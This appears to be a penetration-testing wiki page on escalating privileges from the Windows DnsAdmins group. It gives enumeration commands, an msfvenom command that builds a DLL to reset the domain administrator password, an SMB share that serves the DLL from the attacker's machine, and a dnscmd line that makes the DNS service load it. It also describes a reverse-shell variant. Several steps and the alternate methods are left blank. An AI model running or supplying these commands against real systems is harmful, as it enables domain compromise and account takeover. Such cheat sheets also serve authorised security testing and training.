githubEdit

DNS Admins

A user that is a member of the DnsAdmins group, has the ability to use dnscmd.exe to specify a plugin DLL that should be loaded by the DNS service.

We can create our own malicious .dll payload with msfvenom to escalate privileges

Steps:

Enumeration

Get-NetGroupMember -GroupName "DNSAdmins"

Get-ADGroupMember -Identity DNSAdmins

Exploitation

1) Craft malicious dll file

msfvenom -p windows/x64/exec cmd='net user administrator P@55w0rd123! /domain' -f dll > pwn.dll

2) Host the file remotely

sudo smbserver.py share ./ 

3) Set the remote DLL path into the windows registry

cmd /c dnscmd localhost /config /serverlevelplugindll \\OUR_IP\share\pwn.dll 

4) Restart the DNS service to execute our malicious dll

sc.exe stop dns

5)

6)

7) PWN3D!

Alternate Method: DNSServer module

Check for successful previous command

OR

1) Create reverse shell payload

2) Once the malicious DLL has been uploaded to the target the following command can be used to register the DLL.

3) Setu a listener on attacker machine

4) From here stopping the DNS service and starting it again will spawn a SYSTEM shell to the netcat listener.

Alternate Method: Metasploit

Alternate Method: Netexec and python

Generate the DLL

On the DNS machine, modify the server conf

Restart DNS

Last updated